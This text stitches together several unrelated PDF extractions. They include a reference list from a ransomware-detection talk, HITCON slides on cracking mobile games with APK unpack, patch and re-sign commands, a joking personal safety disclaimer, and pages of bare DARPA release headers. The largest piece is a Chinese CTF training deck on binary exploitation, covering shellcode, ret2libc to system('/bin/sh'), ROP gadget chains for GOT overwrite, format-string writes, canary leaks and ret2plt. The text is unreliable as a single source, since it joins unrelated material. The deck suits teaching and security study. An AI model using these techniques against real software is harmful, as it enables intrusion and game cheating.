missed detection is a correct behaviour.
Training and Testing by the samples
http://www.wildml.com/2016/01/attention-and-memory-in-deep-learning-and-nlp/
https://ransomwaretracker.abuse.ch/
https://arxiv.org/pdf/1412.7449v3.pdf
https://arxiv.org/abs/1409.0473
https://magenta.tensorflow.org/2016/07/15/lookback-rnn-attention-rnn
https://theneuralperspective.com/2016/11/20/recurrent-neural-network-rnn-part-4-
attentional-interfaces/
https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/rnn/python
/ops/rnn_cell.py
https://github.com/tensorflow/tensorflow/issues/4427
http://r2rt.com/recurrent-neural-networks-in-tensorflow-iii-variable-length-
sequences.html | pdf |
Hack Mobile Games For Fun
HITCON 2015
ChienWei Hung (winest)
2
四年前被騙入趨勢當研替
遊戲資歷22年
• 永遠的β測試玩家
你哪位?
3
四年前被騙入趨勢當研替至今
遊戲資歷22年
• 永遠的β測試玩家
4
來聊聊手機遊戲破解
5
2014年營收
6
Rank
1
2
3
4
5
6
7
8
9
10
from App Annie
Rank
10
9
8
7
6
5
4
3
2
1
iOS App Store
Taiwan
Russia
France
Germany
Canada
Australia
United Kingdom
China
Japan
United States
Google Play
Japan
United States
South Korea
Germany
Taiwan
United Kingdom
France
Hong Kong
Australia
Canada
LV. 0
7
破解 解鎖 已付費
8
LV. 1
8
LV. 1 限制
Root
Memory未加密
程式的驗證很弱
• Root檢查
• 已安裝程式檢查
• 動作前後數值檢查
LV. 2
Unpack apk
• java ‐jar apktool.jar d ‐f “<src apk>” ‐o “<dst
folder>”
Repack apk
• java ‐jar apktool.jar b “<dst folder>”
• java ‐jar signapk.jar “<pem file>” “<pk8 file>”
“<unsigned apk>” “<signed apk>”
11
12
Bytecode的好處
13
可以直接看source code
• d2j‐dex2jar ‐f “<src apk>” ‐o “<dst jar>”
• jd‐gui “<dst jar>”
14
LV. 2 限制
沒有被obfuscated
程式沒有檢查checksum
主程式用Java寫
LV. 3
手機遊戲架構
17
簡易數值修改
18
Unpack apk
Disassemble到il
• ildasm.exe <dll path> /OUT=<il path> /UTF8
修改*.il
Assemble回dll
• ilasm.exe <il path> /DLL /OUTPUT=<dll path>
/RESOURCE=<res path>
Repack and sign apk
LV. 4
19
.NET Reflector配合Reflexil
LV. 5
20
Visual Studio客製化修改
自製Tool調整offset
• https://github.com/winest/CILTools
防禦
Obfuscate
• Android有,Unity也有,就是沒人用,超爽der
內容加密
合理範圍檢查
適可而止,否則兩敗俱傷 XD
兩敗俱傷 XD
兩敗俱傷 XD
大家來研究
22
如果你符合
• 我講的你都會了
• 各式Game Engine或iOS專家
• 願意提供1G RAM以上iOS機種做研究
歡迎來聊聊不一樣的東東
23
Thanks ^^
本人在此特地聲明:
本人樂觀開朗,身體健康,無任何使我困擾之慢性病或心理疾病,故絕不可能做出任何看似自殺之行為。
本人從無睡眠困擾,故不需服用安眠藥。本人不酗酒亦不吸毒,也絕不會接近下列地點──
1. 開放性水域
2. 無救生員之遊泳池
3. 有高壓、危險氣體,或密閉式未經抽氣處理之地下室、蓄水池、水桶等
4. 無安全護欄之任何高處
5. 任何施工地點(拆政府除外),包括製作消波塊之工地
6. 任何以上未提及但為一般人正常不會前往之地點
本人恪遵下列事項──
1. 車輛上路前會檢查煞車部件、油門線等,並會在加油前關閉車輛電源與行動電話。
2. 絕不擅搶黃燈、闖紅燈。
3. 乘坐任何軌道類交通工具一定退到警戒線後一步以上,直到車輛停妥。
4. 騎乘機車必戴安全帽;乘車必繫安全帶。
5. 絕不接近任何會放射對人體有立即危害的輻射之場所或設備。
6. 颱風天不登山、不觀浪、不泛舟。
本人將儘可能注意電器、瓦斯、火源、水源之使用。
本人居住之房屋均使用符合法規之電路電線,絕無電線走火之可能;也絕未在家中放置過量可燃性氣體或液體。
浴室中除該有之照明外,不放置任何電器用品,並在睡覺前關閉除電燈、冰箱、電扇外之所有電器開關。
本人絕不會與隨機的不明人士起衝突,並儘可能保護自我人身安全。
所以若各位在看完此聲明之後,近期或將來發現本人不再上線,請幫我討回公道,謝謝。 | pdf |
Approved for Public Release, Distribution Unlimited
1
Approved for Public Release, Distribution Unlimited
2
Approved for Public Release, Distribution Unlimited
3
Approved for Public Release, Distribution Unlimited
4
Approved for Public Release, Distribution Unlimited
5
Approved for Public Release, Distribution Unlimited
6
Approved for Public Release, Distribution Unlimited
7
Approved for Public Release, Distribution Unlimited
8
Approved for Public Release, Distribution Unlimited
9
Approved for Public Release, Distribution Unlimited
10
Approved for Public Release, Distribution Unlimited
11
Approved for Public Release, Distribution Unlimited
12
Approved for Public Release, Distribution Unlimited
13
Approved for Public Release, Distribution Unlimited
14
Approved for Public Release, Distribution Unlimited
15
Approved for Public Release, Distribution Unlimited
16
Approved for Public Release, Distribution Unlimited
17
Approved for Public Release, Distribution Unlimited
18
Approved for Public Release, Distribution Unlimited
19
Approved for Public Release, Distribution Unlimited
20
Approved for Public Release, Distribution Unlimited
21
Approved for Public Release, Distribution Unlimited
22
Approved for Public Release, Distribution Unlimited
23
Approved for Public Release, Distribution Unlimited
24
Approved for Public Release, Distribution Unlimited
25
Approved for Public Release, Distribution Unlimited
26
Approved for Public Release, Distribution Unlimited
27 | pdf |
CTF培训—PWN(漏洞挖掘与利用)
报告人: 360政企安服-胡晓梦
时间:2019年9月X日
CONTENT
团队介绍和自我介绍
1
PWN介绍
2
PWN基础入门
3
PWN实例讲解与演示
4
PWN解题总结
5
团队介绍和自我介绍
第一部分
团队介绍&自我介绍
待完善优化
讲在前面的话
师傅领进门,修行在个人。
虽然大部分培训只是入门的引领,但这里我们传授的是核心知识体系!
PWN介绍
第二部分
CTF-PWN介绍
Ø 什么是PWN?
PWN 题目主要考察二进制漏洞的挖掘和利用,需要对计算机操作系统底层有一
定的了解。在 CTF 竞赛中,PWN 题目主要出现在 Linux 平台上。
Ø PWN题目形式?
•
一个ip地址和端口号
Example:
nc 106.75.2.53 60044
1.nc==>即netcat,一个小巧的网络工具(Linux中自带),本题
中用来建立TCP连接
2.连接成功后,目标主机会运行题目文件,通过TCP连接进行交互
•
一个二进制文件
即目标主机会运行的题目文件
换句话说,比赛时可以在二进制层面知道目标主机将会运行什么代码(没有
源代码)
CTF-PWN介绍
Ø PWN题目需要做什么(流程)?
1.分析二进制文件,找到其中的漏洞
利用IDA Pro(目前工业界最先进的反汇编和反编译利器)等工具进行二进
制分析,结合GDB调试找到其中的漏洞
2.通过异常的输入,绕过防护,利用漏洞,执行目标代码
常见的套路是执行system(“/bin/sh”),打开shell
3.获取flag
flag一般在当前文件夹下
cat ./flag 打开flag文件(一般txt格式),获得flag(一串字符)
CTF-PWN介绍
Ø PWN入门需要哪些知识?
l 汇编语言基础、函数调用时的栈帧变换
l 逆向基础: IDA静态分析+GDB动态调试,PWN可以看做是REVERSE的升级版
(REVERSE++)
l 软件防护技术(漏洞利用缓解):
栈保护:Canary,堆栈不可执行:NX(No-eXecute)
地址随机化:ASLR(address space layout randomization)/PIE
. . .
l 各种类型漏洞原理(一般针对Linux系统)
主要两大类:栈漏洞(溢出), 堆漏洞(更复杂)
printf 格式化字符串漏洞
I/O file 漏洞等
l 漏洞利用方法
ROP(Return-Oriented Programming)技巧(还有JOP, Return To Libc,
GOT Hook. . .目标劫持控制流)
CTF-PWN介绍
Ø PWN需要使用哪些工具?
l Linux系统(一般使用Ubuntu,Kali linux也可以)
l IDA Pro:反汇编及反编译,同时也是强大的调试器(不过Linux环境下调试文件略麻烦)
l Pwntools:一个用来解题的Python库,内置有很多自动查找地址、自动生成shellcode的函(一
般情况下,不会出现可以直接用pwntools某个函数就能解的题,同时攻击的方法多样,
pwntools一般只是用到远程连接的功能
l GDB: Linux 下 命令行界面的调试器,有一些好用的插件,比如gdb_peda、pwndbg
插件可以在GitHub上找到,开源,易安装
l ROPgadget:用于查找gadget和生成ROP链(之后会再介绍)
l . . . . .
Ø PWN基本解题流程(基于逻辑灵活解题)
逆向工程
漏洞挖掘
漏洞利用&
防护绕过
GetShell(flag)
CTF-PWN介绍
安全保护检查
PWN基础入门
第三部分
PWN基础入门
Ø 汇编基础(参考REVERSE,这里不细述)
Ø 栈溢出
Ø Linux漏洞安全防护机制与绕过
Ø 其他漏洞(整数溢出、格式化字符串等)
Ø 堆漏洞
Ø ……..
PWN攻防一览图 by jacob
栈溢出(返回地址覆盖)
栈溢出防护
栈防护绕过
返回地址覆盖
NX/DEP
Canar
y
ASLR/PIE
Ret2ShellCode
Ret2ibc
ROP
HijackGOT
函数地址劫持
泄露Canary
Canary
格式化字符串
劫持__stack_chk_fail
爆破Canary(fork)
ssp leak
Ret2ibc
NX/DEP
ASLR/PIE
ROP
return-to-plt
爆破
GOT overwrite
GOT dereference
泄露libc
覆盖GOT
堆溢出(多样、有趣)
组合利用、
灵活解题
partial write
vdso/vsyscall
write、printf
PWN基础入门
Ø 汇编基础(参考REVERSE篇,这里不细述)
Ø 栈溢出
Ø Linux漏洞安全防护机制与绕过
Ø 其他漏洞(整数溢出、格式化字符串等)
Ø 堆漏洞
Ø ……..
PWN基础入门
Ø 栈溢出
在计算机安全领域,缓冲区溢出是个古老而经典的话题。
什么是缓冲区溢出?
将源缓冲区复制到目标缓冲区可能导致溢出:
1、源字符串长度大于目标字符串长度。
2、不进行大小检查。
缓冲区溢出有两种类型:
1、基于栈的缓冲区溢出 - 这里的目标缓冲区位于栈中
2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中
众所周知,计算机程序的运行依赖于函数调用栈。栈溢出是指在栈内写入超出长度
限制的数据,从而破坏程序运行甚至获得系统控制权的攻击手段。
为了实现栈溢出,要满足两个条件:
第一,程序要有向栈内写入数据的行为;
第二,程序并不限制写入数据的长度。
PWN基础入门
Ø 栈溢出
在介绍如何实现溢出攻击之前,让我们先简单重温一下REVERSE中讲到的函数调用栈的相
关知识。
函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括
函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状
态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,
栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在
内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
PWN基础入门
Ø 栈溢出
函数状态主要涉及三个重要寄存器--esp,ebp,eip。esp 用来存储函数调用栈
的栈顶地址,在压栈和退栈时发生变化。ebp 用来存储当前函数状态的基地址,
在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip 用来存储
即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之
指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
参数入栈
返回地址入栈
基地址ebp入栈
局部变量入栈
栈清理(ebp、局部变量、
返回地址出栈)
PWN基础入门
Ø 栈溢出
当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数
调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可
以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip
(还记得 eip 的用途吗?),所以我们的目标就是让 eip 载入攻击指令的地址,
即所谓的控制流劫持。
先来看看函数调用结束时,如果要让 eip 指向攻击指令,需要哪些准备?首先,
在退栈过程中,返回地址会被传给 eip,所以我们只需要让溢出数据用攻击指令的
地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,
也可以在内存其他位置寻找可用的攻击指令。
再来看看函数调用发生时,如果要让 eip 指向攻击指令,需要哪些准备?这时,
eip 会指向原程序中某个指定的函数,我们没法通过改写返回地址来控制了,不过
我们可以“偷梁换柱”--将原本指定的函数在调用时替换为其他函数。
PWN基础入门
Ø 栈溢出
基于控制流劫持的栈缓冲区溢出利用一般有如下4种方式:
•
修改返回地址,让其指向溢出数据中的一段指令(ret2shellcode)
•
修改返回地址,让其指向内存中已有的某个函数(ret2libc)
•
修改返回地址,让其指向内存中已有的一段指令(ROP)
•
修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)
•
. . .
1.栈溢出利用之ret2shellcode
在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击
指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片
段也被成为“shellcode”。
什么是shellcode?
PWN基础入门
Ø 栈溢出利用之ret2shellcode
payload : padding1 + address of shellcode + padding2 + shellcode
padding1 处的数据可以随意填充(注意如
果利用字符串程序输入溢出数据不要包含
“\x00” ,否则向程序传入溢出数据时会造
成截断),长度应该刚好覆盖函数的基地址。
address of shellcode 是后面 shellcode 起
始处的地址,用来覆盖返回地址。padding2
处的数据也可以随意填充,长度可以任意。
shellcode 应该为十六进制的机器码格式。
根据上面的构造,我们要解决两个问题:
1. 返回地址之前的填充数据(padding1)
应该多长?(如何定位精确的返回地址)
2. shellcode起始地址应该是多少?
PWN基础入门
Ø 栈溢出利用之ret2shellcode
1. 返回地址之前的填充数据(padding1)应该多长?
我们可以用调试工具(例如 gdb)查看汇编代码来确定这个距离,也可以在运行程序时用不断增加输
入长度的方法来试探(如果返回地址被无效地址例如“AAAA”覆盖,程序会终止并报错),pattern ?
2. shellcode起始地址应该是多少?
我们可以在调试工具里查看返回地址的位置(可以查看 ebp 的内容然后再加4(32位机),参见前
面关于函数状态的解释),可是在调试工具里的这个地址和正常运行时并不一致,这是运行时环境
变量等因素有所不同造成的。所以这种情况下我们只能得到大致但不确切的 shellcode 起始地址,
解决办法是在 padding2 里填充若干长度的 “\x90”。这个机器码对应的指令是 NOP (No
Operation),也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只
要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处,所以这
种方法被称为 NOP Sled(中文含义是“滑雪橇”)。这样我们就可以通过增加 NOP 填充来配合
试验 shellcode 起始地址。
操作系统可以将函数调用栈的起始地址设为随机化(这种技术被称为内存布局随机化,即Address
Space Layout Randomization (ASLR) ),这样程序每次运行时函数返回地址会随机变化。反之如
果操作系统关闭了上述的随机化(这是技术可以生效的前提),那么程序每次运行时函数返回地址
会是相同的,这样我们可以通过输入无效的溢出数据来生成core文件,再通过调试工具在core文件
中找到返回地址的位置,从而确定 shellcode 的起始地址。
PWN基础入门
看起来并不复杂对吧?但这种方
法生效的一个前提是在函数调用
栈上的数据(shellcode)要有可
执行权限(NX关闭),另一个前提
是上面提到的关闭内存布局随机
化(ASLR关闭)。很多时候操作系
统会关闭函数调用栈的可执行权
限,这样 shellcode 的方法就失
效了,不过我们还可以尝试使用
内存里已有的指令或函数,毕竟
这些部分本来就是可执行的,所
以不会受上述执行权限的限制。
这就包括 return2libc 和 ROP 两
种方法(return2libc从属于ROP方
法)
Ø 栈溢出利用之ret2shellcode
PWN基础入门
Ø 栈溢出利用之Return2libc
Return2libc方法的思想是修改返回地址,让其指向内存中已有的某个函数
我们需要做到: 在内存中确定某个函数的地址,并用其覆盖掉返回地址。由于
libc 动态链接库中的函数被广泛使用,所以有很大概率可以在内存中找到该动态
库。同时由于该库包含了一些系统级的函数(例如 system() 等),所以通常使用这
些系统级函数来获得当前进程的控制权。鉴于要执行的函数可能需要参数,比如
调用 system() 函数打开 shell 的完整形式为 system(“/bin/sh”) ,所以溢出数据也
要包括必要的参数。下面就以执行 system(“/bin/sh”) 为例,先写出溢出数据的组
成,再确定对应的各部分填充进去。
PWN基础入门
Ø 栈溢出利用之Return2libc
padding1 处的数据可以随意填充(注意不
要包含 “\x00” ,否则向程序传入溢出数据
时会造成截断),长度应该刚好覆盖函数的
基地址。address of system() 是 system()
在内存中的地址,用来覆盖返回地址。
padding2 处的数据长度为4(32位机),对
应调用 system() 时的返回地址。因为我们
在这里只需要打开 shell 就可以,并不关心
从 shell 退出之后的行为,所以 padding2
的内容可以随意填充。address of “/bin/sh”
是字符串 “/bin/sh” 在内存中的地址,作为
传给 system() 的参数。
PWN基础入门
Ø 栈溢出利用之Return2libc
根据上面的构造,我们要解决个问题。
1. 返回地址之前的填充数据(padding1)应该多长?
解决方法和 shellcode 中提到的答案一样。
2. system() 函数地址应该是多少?
要回答这个问题,就要看看程序是如何调用动态链接库中的
函数的。当函数被动态链接至程序中,程序在运行时首先确
定动态链接库在内存的起始地址,再加上函数在动态库中的
相对偏移量,最终得到函数在内存的绝对地址。说到确定动
态库的内存地址,就要回顾一下 shellcode 中提到的内存布
局随机化(ASLR),这项技术也会将动态库加载的起始地
址做随机化处理。所以,如果操作系统打开了 ASLR,程序
每次运行时动态库的起始地址都会变化,也就无从确定库内
函数的绝对地址。在 ASLR 被关闭的前提下,我们可以通过
调试工具在运行程序过程中直接查看 system() 的地址,也
可以查看动态库在内存的起始地址,再在动态库内查看函数
的相对偏移位置,通过计算得到函数的绝对地址。
最后,“/bin/sh” 的地址在哪里?
可以在动态库里搜索这个字符串,如果存在,就可以按照动
态库起始地址+相对偏移来确定其绝对地址。如果在动态库
里找不到,可以将这个字符串加到环境变量里,再通过
getenv() 等函数来确定地址。
PWN基础入门
Ø 栈溢出利用之ROP
--修改返回地址,让其指向内存中已有的一段指令
根据上面副标题的说明,要完成的任务包括:在内存中确定某段指令的地址,并用其覆盖返回地址。可是既
然可以覆盖返回地址并定位到内存地址,为什么不直接用上篇提到的 return2libc 呢?因为有时目标函数
在内存内无法找到,有时目标操作并没有特定的函数可以完美适配,这时就需要在内存中寻找多个指令片段,
拼凑出一系列操作来达成目的(可以理解为多级返回、多级跳板,类似于内网渗透中的多级跳板,利用系统提
供的指令进行拼接正大光明做坏事)。假如要执行某段指令(我们将其称为“gadget”,意为小工具),溢出
数据应该以下面的方式构造(padding 长度和内容的确定方式参见上篇):
payload : padding + address of gadget
如果想连续执行若干段指令,就需要每个 gadget 执行
完毕可以将控制权交给下一个 gadget。所以 gadget
的最后一步应该是 RET 指令,这样程序的控制权(eip)
才能得到切换,所以这种技术被称为返回导向编程
( Return Oriented Programming )。要执行多个
gadget,溢出数据应该以下面的方式构造:
payload : padding + address of gadget
1 + address of gadget 2 + ......
+ address of gadget n
PWN基础入门
Ø 栈溢出利用之ROP
现在任务可以分解为:针对程序栈溢出所要实现的效果,
找到若干段以 ret 作为结束的指令片段,按照上述的构
造将它们的地址填充到溢出数据中。所以我们要解决以
下几个问题。
首先,栈溢出之后要实现什么效果?
ROP 常见的拼凑效果是实现一次系统调用,Linux系统
下对应的汇编指令是 int 0x80。执行这条指令时,被调
用函数的编号应存入 eax,调用参数应按顺序存入 ebx,
ecx,edx,esi,edi 中。例如,编号125对应函数
mprotect (void *addr, size_t len, int prot)
PWN基础入门
Ø 栈溢出利用之ROP
PWN基础入门
Ø 栈溢出利用之Hijack GOT
--修改某个被调用函数的地址,让其指向另一个函数
根据上面副标题的说明,要完成的任务包括:在内存中修改某个函数的地址,使其指向另一个函数。为了
便于理解,不妨假设修改 printf() 函数的地址使其指向 system(),这样修改之后程序内对 printf()
的调用就执行 system() 函数。要实现这个过程,我们就要弄清楚发生函数调用时程序是如何“找到”被
调用函数的。
程序对外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,链接的方式分为静态链接和动
态链接。静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件并不包含外部
函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用
时去链接库定位所需的函数。
可程序是如何在链接库内定位到所需的函数呢?这个过程用到了两张表--GOT 和 PLT。GOT 全称是全局
偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址.GOT 存储在数据段(Data
Segment)内,可以在程序运行中被修改,类似于windows中PE结构的IAT,只不过windows中IAT中的函数
地址是写保护的,没办法利用,但是GOT是可写的,我们可以将其中的函数地址覆盖为我们的shellcode地址,
在程序后面调用这个函数时就会调用我们的shellcode了.PLT 全称是程序链接表(Procedure Linkage
Table),用来存储外部函数的入口点(entry),换言之程序总会到 PLT 这里寻找外部函数的地址。
PLT 存储在代码段(Code Segment)内,在运行之前就已经确定并且不会被修改,所以 PLT 并不会知道
程序运行时动态链接库被加载的确切位置。那么 PLT 表内存储的入口点是什么呢?就是 GOT 表中对应条
目的地址。
PWN基础入门
Ø 栈溢出利用之Hijack GOT
第一次调用函数时解析函数地址并存入 GOT 表
再次调用函数时直接读取 GOT 内的地址
PWN基础入门
Ø 栈溢出利用之Hijack GOT
上述实现遵循的是一种被称为 LAZY 的设计思想,它将需要完成的操作(解析外部函数的内存地
址)留到调用实际发生时才进行,而非在程序一开始运行时就解析出全部函数地址。这个过程也
启示了我们如何实现函数的伪装,那就是到 GOT 表中将函数 A 的地址修改为函数 B 的地址。这
样在后面所有对函数 A 的调用都会执行函数 B。
那么我们的目标可以分解为如下几部分:确定函数 A 在 GOT 表中的条目位置,确定函数 B 在内
存中的地址,将函数 B 的地址写入函数 A 在 GOT 表中的条目。
首先,如何确定函数 A 在 GOT 表中的条目位置?
程序调用函数时是通过 PLT 表跳转到 GOT 表的对应条目,所以可以在函数调用的汇编指令中找
到 PLT 表中该函数的入口点位置,从而定位到该函数在 GOT 中的条目。
例如
call 0x08048430 <printf@plt>
就说明 printf 在 PLT 表中的入口点是在 0x08048430,所以 0x08048430 处存储的就是 GOT 表
中 printf 的条目地址。
PWN基础入门
Ø 栈溢出利用之Hijack GOT
其次,如何确定函数 B 在内存中的地址?
如果系统开启了内存布局随机化,程序每次运行动态链接库的加载位置都是随机的,就很难通过调试工具直
接确定函数的地址。假如函数 B 在栈溢出之前已经被调用过,我们当然可以通过前一个问题的答案来获得
地址。但我们心仪的攻击函数往往并不满足被调用过的要求,也就是 GOT 表中并没有其真实的内存地址。
幸运的是,函数在动态链接库内的相对位置是固定的,在动态库打包生成时就已经确定。所以假如我们知道
了函数 A 的运行时地址(读取 GOT 表内容),也知道函数 A 和函数 B 在动态链接库内的相对位置,就
可以推算出函数 B 的运行时地址。
最后,如何实现 GOT 表中数据的修改?
很难找到合适的函数来完成这一任务,不过我们还有强大的 ROP(DIY大法好)。假设我们可以找到以下若
干条 gadget(继续钦点),就不难改写 GOT 表中数据,从而实现函数的伪装。ROP 的具体实现请回看上
一章,这里就不再赘述了。
pop eax; ret;
# printf@plt -> eax
mov ebx [eax]; ret;
# printf@got -> ebx
pop ecx; ret;
# addr_diff = system - printf -> ecx
add [ebx] ecx; ret;
# printf@got += addr_diff
从修改 GOT 表的过程可以看出,这种方法也可以在一定程度上绕过内存随机化。
PWN基础入门
Ø 汇编基础(参考REVERSE,这里不细述)
Ø 栈溢出
Ø Linux漏洞安全防护机制与绕过
Ø 其他漏洞(整数溢出、格式化字符串等)
Ø 堆漏洞
Ø ……..
PWN基础入门
Ø 栈溢出漏洞防护(利用缓解)
防护技术
防护说明
Stack Canary
这里是一种缓冲区溢出攻击缓解手段,启用栈保护后,函数开始执行的时候会先往栈里
插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就
停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈
保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary,等同于
windows下的GS机制。
NX
NX(No Execute)缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。
示例:使数据,堆栈和堆段不可执行,而代码段不可写。
PIE
PIE全称是position-independent executable,中文解释为地址无关可执行文件,
该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)
等固定地址的一个防护技术(编译器选项),如果程序开启了PIE保护的话,在每次加载
程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。由于受到堆
栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用。因为ASLR技术的出现,
攻击者在ROP或者向进程中写数据时不得不先进行leak,或者干脆放弃堆栈,转向bss
或者其他地址固定的内存块。而PIE(position-independent executable, 地址无关
可执行文件)技术正是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个
防护技术,一定程度上增强系统的ASLR防护能力。
PWN基础入门
Ø Checksec检查项说明
防护技术
防护说明
1
2
3
PWN基础入门
Ø 栈溢出漏洞防护Canary绕过--泄露Canary
l 方法: 利用格式化字符串漏洞,泄露出canary的值,然后填到canary相应的位置
从而绕过保护实现栈溢出。
PWN基础入门
Ø 栈溢出漏洞防护Canary绕过--泄露Canary(格式化字符串)
l 思路: 利用格式化字符串漏洞,泄露出canary的值,然后填到canary相应的位置
从而绕过保护实现栈溢出。
PWN基础入门
Ø 格式化字符串漏洞
格式化字符串漏洞是PWN题常见的考察点,仅次于栈溢出漏洞。漏洞原因:程序使用了格式化字符串作为
参数,并且格式化字符串为用户可控。其中触发格式化字符串漏洞函数主要是printf、sprintf、fprintf、prin
等C库中print家族的函数:
printf(“格式化字符串“,参数...)
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节
长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,
可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字
符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。如果在栈中保存有指向我们感兴趣数据的指
针,我们就可以在打印指针的时候使用一个%s来打印别的地方的内容。而且一般的程序都会将用户输入
的数据储存在栈上。这就给了我们一个构造指针的机会,再结合格式化字符串漏洞,几乎可以得到所有内
存数据。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将
0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表
示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接
写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合
%n写数据
format参考列表
PWN基础入门
Ø 格式化字符串漏洞
char str[100];
scanf("%s",str);
printf("%s",str);
char str[100];
scanf("%s",str);
printf(str);
正常
错误
程序将格式化字符串的输入权交给用户,printf函数并不知道参数个数,它的内部
有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直
到索检到格式化字符串结束。所以没有参数,代码也会将format string 后面的内
存当做参数以16进制输出,这样就会造成内存泄露。
要利用格式化字符串漏洞,我们需要重点关注几个比较冷门的符号说明:
格式化字符串的“$”操作符,其允许我们从格式化字符串中选取一个作为特定的
printf("%3$s", 1, "b", "c", 4);
最终会显示结果“c”。这是因为格式化字符串“%3$s”,它告诉计算机“把格式
告诉我,然后将参数解释为字符串”。所以,我们也可以这样做
printf("AAAA%3$n");
printf函数将值“4”(输入的A的数量)写入第三个参数指向的地址。
PWN基础入门
Ø 格式化字符串漏洞
Input:BBBB%x,%x,%x,%x,%x,%x,%x,%x,%x
PWN基础入门
Ø 格式化字符串漏洞
printf函数调用下断
[esp+1Ch]存储输入的BBBB十六进制
利用$,只输出第7位(BBBB)的ASCII码
PWN基础入门
Ø 栈溢出漏洞防护Canary绕过--泄露Canary(格式化字符串)
1
2
3
PWN基础入门
Ø 栈溢出漏洞防护Canary绕过--泄露Canary(格式化字符串)
思路:
1、先利用printf格式化字符串漏洞泄露Canary
2、利用泄露的Canary填充/覆盖栈上的Canary进行栈溢出漏洞利用,获取flag
printf(“%7$x”)泄露出Canary
PWN基础入门
Ø 栈溢出漏洞防护Canary绕过--泄露Canary(格式化字符串)
buf
. . . .
Canary
. . . .
ebp-70
ebp-C
低
高
s
r
ebp
ebp+4
栈溢出利用(getlag)
PWN基础入门
Ø 栈溢出漏洞防护Canary绕过--泄露Canary(格式化字符串)
exploit.py
get flag!
PWN基础入门
Ø 栈溢出漏洞利用之NX绕过—ret2libc
l
思路:通过把函数返回地址直接指向系统库(常用libc库)中的函数(如system函数),同时构造该函
数的输入参数栈,就可以达到代码执行的目的。对于NX/DEP防御来说,你不让我执行我的代码,我就
利用你的函数达到我的目的,这是面向返回编程的设计思路
NX开关打开且存在栈缓
冲区溢出漏洞!
PWN基础入门
Ø 栈溢出漏洞利用之NX绕过—ret2libc
溢出后的栈布局图
system("/bin/sh")
1.确定libc地址
2.确定sysytem函数地址
3.确定/bin/sh字符串地址
3个问题
PWN基础入门
Ø 栈溢出漏洞利用之NX绕过—ret2libc
exploit.py
编译器层面(二进制本身)
系统层面(栈、库)
PWN基础入门
Ø 栈溢出漏洞防护PIE/ASLR绕过-return-to-plt
ASL
R
0:未开启
1:stack、libraries随机化
2:heap随机化
PIE
.text代码段
.data数据段
.bss未初始化
全局变量段
plt、got基址
sysctl -n kernel.randomize_va_space
cat /proc/sys/kernel/randomize_va_space
checksec ./bin
PWN基础入门
Ø 栈溢出漏洞防护ASLR绕过-return-to-plt
思路:在 ASLR 开到 2 时libc中的基址已经躲猫猫了,而 PLT 的函数却没有 (在执行前
就能知道),PLT表中包含全局函数的存根(stub)代码,.text 段中的call 指令并不直
接调用函数,而是先调用位于PLT表中的存根函数(func@PLT),使用 Ret2PLT 的原因
就在于在执行前它的地址并没有被随机化。因此可以把原打算ret2libc目标函数位置变成
return 到plt里面的位置. ASLR doesn‘t randomize everything, ASLR不会随机化
本身程序的基址。
NX enabled
ASLR enabled(2)
PIE disabled
PWN基础入门
Ø 栈溢出漏洞防护ASLR绕过-return-to-plt
Dest[400]
Var_4
s
r
ebp+4
ebp-404
ebp
1032
Paddings(1032)
ROP-
Gadget(ret2plt)
strcpy@plt
ppr
bss
“s”
strcpy@plt
ppr
bss+1
“h”
strcpy@plt
ppr
bss+2
“;”
system@plt
“AAAA”
bss
PWN基础入门
Ø 栈溢出漏洞防护ASLR绕过-return-to-plt
